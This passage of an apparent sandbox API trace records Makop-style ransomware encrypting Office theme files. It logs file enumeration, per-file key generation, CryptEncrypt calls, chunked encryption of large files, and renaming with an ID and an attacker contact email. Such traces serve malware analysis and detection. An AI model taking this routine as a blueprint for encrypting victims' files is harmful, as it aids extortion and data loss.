out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.988] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.988] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.988] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1240d, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x1240d, lpOverlapped=0x0) returned 1 [0156.990] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x12410, dwBufLen=0x12410 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x12410) returned 1 [0156.991] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.991] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12410, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x12410, lpOverlapped=0x0) returned 1 [0156.992] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.992] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x124e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.993] SetEndOfFile (hFile=0x124) returned 1 [0157.000] GetProcessHeap () returned 0x48a0000 [0157.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.001] GetProcessHeap () returned 0x48a0000 [0157.001] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.001] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0157.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.003] CloseHandle (hObject=0x124) returned 1 [0157.003] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0157.003] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx") returned 65 [0157.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.005] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2003652) returned 1 [0157.005] GetProcessHeap () returned 0x48a0000 [0157.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.005] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.006] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0xc, lpOverlapped=0x0) returned 1 [0157.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0157.010] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.010] GetProcessHeap () returned 0x48a0000 [0157.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.010] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579508*=0x40) returned 1 [0157.010] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.010] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0157.010] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0157.011] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0157.011] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0157.011] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.011] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0157.012] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0157.012] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.012] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0157.012] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0157.026] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0157.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.029] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0157.032] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.032] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0157.032] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa30ec, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0157.032] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0157.043] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0157.046] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa30ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.046] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0157.048] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.048] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0157.048] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a92d0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0157.048] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0157.069] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0157.072] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a92d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.073] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0157.076] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.076] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0157.076] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.076] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.076] SetEndOfFile (hFile=0x124) returned 1 [0157.086] GetProcessHeap () returned 0x48a0000 [0157.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.086] GetProcessHeap () returned 0x48a0000 [0157.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.086] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0157.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.089] CloseHandle (hObject=0x124) returned 1 [0157.090] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0157.090] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx") returned 67 [0157.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.093] GetProcessHeap () returned 0x48a0000 [0157.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.093] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.093] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.093] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x1, lpOverlapped=0x0) returned 1 [0157.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.098] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.098] GetProcessHeap () returned 0x48a0000 [0157.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.098] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.098] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.098] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.098] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.098] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.099] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.099] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.099] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.099] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.099] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x555df, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x555df, lpOverlapped=0x0) returned 1 [0157.110] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x555e0, dwBufLen=0x555e0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x555e0) returned 1 [0157.113] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.114] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x555e0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x555e0, lpOverlapped=0x0) returned 1 [0157.116] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.116] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x556b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.116] SetEndOfFile (hFile=0x124) returned 1 [0157.125] GetProcessHeap () returned 0x48a0000 [0157.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.125] GetProcessHeap () returned 0x48a0000 [0157.125] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.125] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0157.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.127] CloseHandle (hObject=0x124) returned 1 [0157.127] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0157.127] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx") returned 64 [0157.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.130] GetProcessHeap () returned 0x48a0000 [0157.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.130] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.130] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.130] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0157.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.134] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.134] GetProcessHeap () returned 0x48a0000 [0157.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.134] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.134] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.134] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.134] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.135] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.135] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.136] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.136] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.136] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10f61, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x10f61, lpOverlapped=0x0) returned 1 [0157.139] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10f70, dwBufLen=0x10f70 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10f70) returned 1 [0157.140] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.140] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10f70, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10f70, lpOverlapped=0x0) returned 1 [0157.140] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.140] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.140] SetEndOfFile (hFile=0x124) returned 1 [0157.149] GetProcessHeap () returned 0x48a0000 [0157.149] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.149] GetProcessHeap () returned 0x48a0000 [0157.149] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.149] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0157.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.151] CloseHandle (hObject=0x124) returned 1 [0157.151] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 